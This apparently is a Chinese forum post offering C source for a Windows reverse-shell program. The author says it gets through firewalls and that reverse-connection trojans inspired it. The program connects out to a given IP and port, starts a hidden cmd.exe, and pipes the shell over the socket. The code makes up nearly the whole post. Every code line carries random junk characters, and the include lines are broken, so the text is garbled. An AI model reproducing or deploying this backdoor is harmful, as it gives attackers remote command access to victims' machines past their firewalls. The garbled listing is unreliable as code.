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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s~TYzfA  
cW3;5  
/* ============================== , X|oCD  
Rebound port in Windows NT 3"<{YEj8U  
By wind,2006/7 O[8Lp?  
===============================*/ LtNG<n)_BH  
#include "3!4 hiU9  
#include mT~:k}u~W  
\;g{qM 8  
#pragma comment(lib,"wsock32.lib") A]>0lB  
{wd.aUB  
void OutputShell(); |"ck;.)  
SOCKET sClient; lQ)8zI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %5uuB4P&|$  
)~WxNn3rx  
void main(int argc,char **argv) 8IVKS>  
{ jIEK[vJ`  
WSADATA stWsaData; aeg5ij-]u@  
int nRet; TpnkJygIm  
SOCKADDR_IN stSaiClient,stSaiServer; T$k) ^'  
` !rHH  
if(argc != 3) c !5OK4+Z  
{ 0w\gxd~'  
printf("Useage:\n\rRebound DestIP DestPort\n"); [.0R"|$sy+  
return; 8rw;Yo<k  
}  Kp!P/Q{  
E]+W^ VG  
WSAStartup(MAKEWORD(2,2),&stWsaData); Ot(EDa9}IJ  
zf^!Zqn[8z  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !iZ*ZPu  
*%g*Np_P  
stSaiClient.sin_family = AF_INET; 9WHkw@<R+  
stSaiClient.sin_port = htons(0); &&tQ,5H5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R*QL6t  
IU3OI:uq  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /Bb\jvk-E  
{ gBresHrlH  
printf("Bind Socket Failed!\n"); <6Br]a60RR  
return; 8)sqj=  
} *S ;v406  
~C[R%%Gu  
stSaiServer.sin_family = AF_INET; qA*QFQ'-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uD<*g(R  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RMsr7M4<91  
TCB<fS~U-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) & {B,m%G  
{ zQ7SiRt7*  
printf("Connect Error!"); _a c_8m  
return; fv)-o&Q#  
} B<_T"n'#b  
OutputShell(); 4R^'+hy|?  
} RJ@d_~%U  
DGp'Xx_8  
void OutputShell() 4(o0I~hpB?  
{ X8Gw8^t  
char szBuff[1024]; #E*jX-JT  
SECURITY_ATTRIBUTES stSecurityAttributes; d<!bE(  
OSVERSIONINFO stOsversionInfo; O@Xl_QNxc!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `yc .A%5  
STARTUPINFO stStartupInfo; 3~M8.{ U#V  
char *szShell; rMLCt Gi  
PROCESS_INFORMATION stProcessInformation; Kx#G_N@  
unsigned long lBytesRead; K\o!  
hcM 0?=  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lOYwYMi  
JTdK\A>l  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T|oz_c\e  
stSecurityAttributes.lpSecurityDescriptor = 0; "i9$w\lm  
stSecurityAttributes.bInheritHandle = TRUE; {T=I~#LjMI  
w Gw}a[a  
F4d L{0;j  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O4( Z%YBe  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tt#M4n@  
Lt=#tu&d  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Cm>8r5LG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U<o,`y[Tn  
stStartupInfo.wShowWindow = SW_HIDE; UPLr[ >Q#  
stStartupInfo.hStdInput = hReadPipe; wgI$'tI  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~ / "aD  
KWU#Swa`  
GetVersionEx(&stOsversionInfo); 6\'v_A O  
>b<br  
switch(stOsversionInfo.dwPlatformId) Z+Z`J; ,  
{ >WG$!o+R  
case 1: !*EHr09N7  
szShell = "command.com"; ?6~RGg  
break; 3"&6rdF\jB  
default: q!}&<w~|  
szShell = "cmd.exe"; MNkysB(  
break; 2}+V3/  
} %z1WdiC  
oDA1#-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); RM QlciG  
[bE9Y;  
send(sClient,szMsg,77,0); -s4qm)\  
while(1) zn@tLLX  
{ qH"e: wgL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); L +-B,466  
if(lBytesRead) b\H~Ot[i  
{ Zj!S('hSY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BQt!L1))  
send(sClient,szBuff,lBytesRead,0); TQYud'u/  
} L,Uqt,  
else ~h0SD(  
{ u'LA%l-  
lBytesRead=recv(sClient,szBuff,1024,0); Pp #!yMxBr  
if(lBytesRead<=0) break; CEZ*a 0}=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aRg- rz  
}  8tLkJOu  
} !!dNp5h`  
LV'v7 2yUH  
return; Ij/c@#q.  
}
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